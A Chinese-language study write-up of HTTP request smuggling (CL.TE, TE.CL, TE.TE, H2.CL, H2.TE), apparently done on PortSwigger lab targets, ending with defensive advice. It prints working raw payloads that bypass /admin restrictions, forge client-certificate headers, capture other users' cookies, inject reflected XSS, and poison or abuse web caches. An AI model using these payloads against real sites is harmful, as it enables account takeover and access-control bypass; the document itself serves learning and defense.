HTTP请求走私的原理

HTTP 请求一个接一个地发送,接收服务器必须确定一个请求在哪里结束,下一个请求在哪里开始。需要保证前端和后端系统必须就请求之间的边界达成一致 否则,攻击者可能发送含义模糊的请求 后端会将其解释为两条不同的HTTP请求 belike

使得攻击者能够在下一个合法用户的请求开头添加任意内容 在这个图片里面 也就是橙色内容 形象一点的例子

前端优先处理第一个内容长度头部,后端优先处理第二个
前端会将蓝色和橙色数据转发到后端,后端在发出响应前只会读取蓝色内容
注入的“G”会破坏绿色用户的请求,他们可能会收到类似“未知方法 GPOST”的响应
前端与后端不一致 是我理解的走私的根本 上面的例子也是举的最简单的例子(现实中基本不可能存在双重内容长度技术奏效的情况)看到这里 我在想这个有点像CSRF了 毕竟可以影响到下一个用户的真正请求 继续往下面看吧

消息体的结束位置

HTTP/1 规范提供了两种不同的方式来指定请求的结束位置:Content-Length标头和Transfer-Encoding标头

  1. Content-Length 它指定邮件正文的长度 比如 一段报文 上面的就省略了
    Content-Length: 11
    q=smuggling
  2. Transfer-Encoding 这个就要规范一点(也不是规范吧 总之就是感觉起来要严谨一些)指定消息体使用分块编码 每个数据块由以下部分组成:数据块大小(以字节为单位,十六进制表示)、换行符以及数据块内容 大概格式如下
  • 格式:Transfer-Encoding: chunked
  • 块格式:[chunk-size][\r\n][chunk-data][\r\n]
  • 结束块:0[\r\n][\r\n]
    接着我上面说的 感觉TE要严谨规范一点 所以如果收到的消息同时包含 Transfer-Encoding 标头字段和 Content-Length 标头字段,则必须忽略后者。

HTTP 请求走私攻击类型

  • CL.TE:前端服务器使用Content-Length标头,后端服务器使用Transfer-Encoding标头。
  • TE.CL:前端服务器使用Transfer-Encoding标头,后端服务器使用Content-Length标头。
  • TE.TE:前端服务器和后端服务器都支持该Transfer-Encoding标头,但可以通过某种方式混淆该标头,使其中一个服务器不处理该标头
    下面我都会用自己的理解打一下bp里面最基础的靶场 主要是掌握一下原理
  1. CL.TE Content-Length 设置较短 后端会因等待下一个数据块而超时 这将导致明显的延迟 那么对于这个靶场

    设置的长度是6 导致超时了 也就是说后端后端会因为等待 X 到达而超时 那么符合CL.TE 也就是说

    当我这样构造时 前端识别到G才会完 可是后端看到0\r\n\r\n之后就会以为消息已经完了 那么剩下的G 将会分在下一次请求里面 从而构造出无效的GPOST请求 如下
  2. TE.CL(做完这个之后去看了信的博客…我真没剽窃)

    是的 我也是这样想的 这样子是前端全部发给后端 然后后端只能截取前三个 也就是1\r\n G就可以拼在下一个包里面 至于0 我以为这种作为结束的标志符号不会被拼接 结果哈哈

    居然也会被放进去
    这里不知道怎么弄了 因为0作为结束的 不被后端识别的话 肯好的会被放在下一包里面啊 然后看了信的博客 发现他居然最开始payload也和我一样

    还能这样 中间一整个作为data 然后前端先是全部发完 然后后端只收到4位之后就停下了 等第二个包发出来之后 居然还有数据 后端测到CL为6 但是前端发的一直到结束都只有5个 只能粘上第二个包了 这里刚开始太蠢了 卡了很久 总的说来 还是最开始没有理解清楚 都没有想到通道这个概念 到处模糊地去问学长
  3. TE.TE
    找到某种头部变体,Transfer-Encoding使得只有前端或后端服务器中的一个会处理它,而另一个服务器则会忽略它 原理很简单了 payload给完后重点去理解一下bp里面给的教学视频

判断漏洞

  1. 计时计数
1
2
3
4
5
6
Content-Length: 6
Transfer-Encoding: chunked

3
abc
X

声明了分块传输(TE),但故意不发结束标志 0
Timeout (超时) -> CL.TE: 这是最常见的情况。前端(CL)认为总共只有 6 字节,于是把全部内容发给后端 但后端(TE)认为这是分块传输,它读完了 abc 之后,一直在死等那个代表结束的 0。因为你永远没发 0,后端就一直等,直到连接超时
Reject (前端拒绝) -> TE.CL 或 TE.TE: 如果前端本身就优先看 TE,它发现你这个分块格式不对(没有结尾),可能直接在前端就拦截并报错了
Response (正常响应) -> CL.CL: 如果前后端都只看 CL,它们只读完 6 个字节就处理完了,所以会正常返回

1
2
3
4
5
6
Content-Length: 6
Transfer-Encoding: chunked

0

X

Response (正常响应) -> TE.TE 或 CL.CL: 如果前后端协议一致(都看 TE 或都看 CL),它们都能正常处理完这 6 个字节,不会产生错位
Socket Poison -> CL.TE: 前端(CL)把 6 个字节(含 X)全发了。后端(TE)读到 0\r\n\r\n 就认为第一个请求完了,把剩下的 X 留在了缓冲区。当你发第二个包时,会发现请求变成了 XPOST,从而验证了 CL.TE 漏洞
Timeout (超时) -> TE.CL: 前端(TE)看到 0\r\n\r\n,认为请求已经结束了,所以它只转发了前 5 个字节给后端,那个 X 被前端丢弃或留在了前端。但后端(CL)死板地认为必须收到 6 个字节。于是后端卡住了,一直在等那个永远不会被转发过来的第 6 个字节(X),最终超时
2. 差异化响应 其实原理就和上面靶场想让我们做的事情一样 靶场让我们改变请求 其实这里转到404 底层差不多的

  • CL.TE

    然后发一个get的包
  • TE.CL
    和之前发送GPOST原理完全一样

    payload直接抄 改一下GPOST 加个404即可

HTTP走私利用

  1. 利用 HTTP 请求走私绕过前端安全控制,CL.TE 漏洞
    前端服务器阻止了对/admin的访问 需要向后端服务器发送一个请求 通过基础payload超时 判断出是CL.TE
    那么像之前一样提前0分块
1
2
3
4
5
6
7
Content-Length: 37
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-Ignore: X

这里加上X-Ignore: X是因为和后面第二个包的GET就两个请求了 不能处理 这时候去发第二个包 已经可以看到
HTTP/1.1 401 Unauthorized Admin interface only available to local users
那么加上Host

1
2
3
4
5
6
7
8
Content-Length: 54
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
X-Ignore: X

这样子两个Host了 wp上面的方法

1
2
3
4
5
6
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

x=

放第二个包就可以了
2. 利用 HTTP 请求走私绕过前端安全控制,TE.CL 漏洞
和上一个相差无几 也和之前的定向到/404一样 因为前端是TE 所以不需要管两个方法影响
3. 在许多应用中,前端服务器会在将请求转发到后端服务器之前对其进行一些重写,通常是通过添加一些额外的请求头。例如,前端服务器可能会:

  • 终止 TLS 连接,并添加一些描述所用协议和密码的标头;
  • 添加X-Forwarded-For包含用户 IP 地址的标头;
  • 根据用户的会话令牌确定用户的 ID,并添加一个标识用户的标头;或者
  • 添加一些其他攻击者感兴趣的敏感信息。
    如果走私请求缺少前端服务器通常添加的一些标头,则后端服务器可能不会以正常方式处理请求,导致走私请求无法达到预期效果
    CL.TE漏洞

    第二个包

    确定可以了
    然后
    长度设置长一点

    这里可以看到前端改过之后的X-*-IP
    放在第一个包里面 用前面学的x=来连上后面包的多余请求方式和Host
  1. 绕过身份验证 这个和上面很相似啦 我觉得都是不错的验证身份方法
    验证客户端身份的组件通常会通过一个或多个非标准 HTTP 标头,将证书中的相关详细信息传递给应用程序或后端服务器。例如,前端服务器有时会将包含客户端 CN 的标头附加到任何传入的请求中
    前端服务器往往会覆盖已经存在的这些请求头。然而,走私的请求对前端完全隐藏,因此它们包含的任何请求头都会原封不动地发送到后端。
    例如在CL.TE里面
1
2
3
4
5
6
7
8
9
10
11
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

教学里面没给TE.CL的 自己敲一个基础的

1
2
3
4
5
6
7
8
9
10
11
12
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

xx
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x
0

  1. 捕获其他用户的请求
    原理和前面得到前端重写的标头一模一样 靶场这里是CL.TE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=your-session-token

csrf=your-csrf-token&postId=5&name=Carlos+Montoya&email=carlos%40normal-user.net&website=&comment=test

放第二个包时 能在渲染里面看到抓获的cookie 注意这里的CL长度是个技术活 短了可能得不到cookie 长了的话
5. HTTP 请求走私实现反射型 XSS 攻击
首先得找到xss地方 然后就好说了 判断漏洞 例题打的还是很通畅 CL.TE

1
2
3
4
5
6
7
8
9
10
11
Content-Length: 149
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: 1"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=
  1. 利用 HTTP 请求走私将站内重定向转换为开放重定向
    简单说:
    Apache 和 IIS 这俩服务器,默认有个规矩:
    你访问一个文件夹的网址时,如果网址最后没加斜杠(比如输 http://网站地址/文件夹名),服务器会自动跳转到同一个文件夹、但网址最后带斜杠的地址(也就是 http://网站地址/文件夹名/)。
  • web缓存投毒
    那么看看这道利用HTTP请求走私进行Web缓存投毒的例题
    如果前端基础设施的任何部分对内容进行缓存(通常是为了提升性能),那么攻击者就可能通过发送站外重定向响应来污染缓存
    先用简单payload测试是哪种漏洞 CL.TE

    先测试最基础的重定向和漏洞

    好的 302了
    那么看看自己定义Host

    添加好了 发第二个包去试看看

    确实是可以哈 那么就来自己确定文件了
    之后用他缓存的文件信息 30秒改缓存 那么就抓住时间 教学这里是27秒
  • Web缓存欺骗
    这个 我想想 和前面偷走前端重命名的标头那个很相似 不过这个不是吞走用户的请求头 是利用缓存从而查看关键字


    这里是看到API不会马上刷掉
    和上一道题一样 抓紧在静态资源更新时去发送攻击请求
1
2
3
4
5
6
7
Content-Length: 42
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
X-Ignore: X

这里不知道是什么原因找不到静态资源 很奇怪

HTTP2走私

  1. HTTP/2 格式核心
    HTTP/1.1 是文本协议(ASCII 字符,用换行符分隔)
    HTTP/2 是二进制协议 HTTP/2 不再像 HTTP/1.1 那样把整个请求扔过去。它把数据切成一个个微小的帧 (Frame)
  • 帧 (Frame):通信的最小单位。每个帧都有头部,说明了它是属于哪个流(Stream ID)、它的类型(Type)以及长度(Length)。
  • 类型:常见的有 HEADERS 帧(放 HTTP 头)、DATA 帧(放 POST body)、SETTINGS 帧等。
  1. 多路复用
    HTTP/1.1:第一个请求没处理完,第二个请求就得放在TCP缓存区等着
    HTTP/2:同一个 TCP 连接里,可以同时跑很多个请求。它们被打散成“帧”,乱序发送,然后在接收端根据 Stream ID 重新组装起来。
  2. 漏洞呢?
    在纯 HTTP/2 环境下(客户端->H2->服务端),走私很难发生,因为 H2 的帧长度是非常精准的,没有歧义。也就是说几乎不太可能找到走私了 但是….
    现实世界的架构通常是
  • 前端:支持 HTTP/2,负责高性能连接。
  • 后端:很多老旧应用或框架只支持 HTTP/1.1。
  • 中间过程:前端接收 H2 数据流,将其转换(降级为 HTTP/1.1 文本格式发给后端。
    漏洞显而易见 会出现在中间过程到后端的过程中 那么
    是否可以想到前面的http1的漏洞问题
    举个例子
    前端使用的是帧的长度来判断请求结束
    后端使用的是CL
  • 攻击者在 HTTP/2 的 HEADERS 帧中,故意注入一个 content-length 头(H2 协议本身不需要这个头,但允许存在)。
  • H2 代理将请求转换成 H1 发送给后端。
  • 后端看到 CL 头,提前截断请求。
  • 剩下的 Data 帧数据被留在 TCP 管道中,变成了下一个请求的开头。
    例题
    H2.CL
    利用404检测后端类型
1
2
3
4
5
6
7
POST / HTTP/2
Host: qqqqqqqqq.web-security-academy.net
Content-Length: 5

x=1
GET /frewfes HTTP/1.1
x: x

然后去发第二个包 404了
证明后端确实只收到了x=1
接下来就和上面的TE.CL一模一样了
利用重定向去跳转

1
2
3
4
5
6
7
8
9
POST / HTTP/2
Host: qqqqqqqq.web-security-academy.net
Content-Length: 5

x=1
GET resources/js HTTP/1.1
CL: 3

x=

进去攻击模块 一直去反复发送即可
和http1.1的模式是完全一样的
H2.TE与上面相同 只是后端停在TE特有的0分块上面 例题可以参考之前的CL.TE靶场
4. CRLF injection
基于前面两个基础的靶场 可能网站采取措施防止基本的 H2.CL 或 H2.TE 攻击,例如验证content-length或剥离任何transfer-encoding标头
那么我们也许可以通过其他的标头和对应的值来在里面插入content-length或剥transfer-encoding标头
例如

之后再摆上对应漏洞的payload(这里是后端TE)
然后发送第二个包 404了证明这样子添加后也可被后端识别到TE标头 接下来就是和之前一样了
主要了解一下这个方法
后面的靶场除了H2以外 与前面没有任何区别

防御

打了那么多靶场之后 我以攻击者的视角讲一下我眼中的防御

  1. 对于H1 保证使用前端后端的请求结束位置没有差异 也就是说前端后端使用的“定位机制”一样 然后对于特殊的TE.TE漏洞 做严格验证 不能通过混淆标头就绕过
  2. 对于H2 其实本身是完全没法利用的了 可以说是一步到位了 其中的漏洞几乎都是来自于没有端到端的使用 从而发送到后端的时候导致了HTTP协议的降级 另外对于CLRF的使用 对于请求头的使用(包含TE或者是CL)关于换行符 空格 冒号全部拒绝
  3. 对于服务器 如果在处理请求时触发服务器级异常,则默认丢弃连接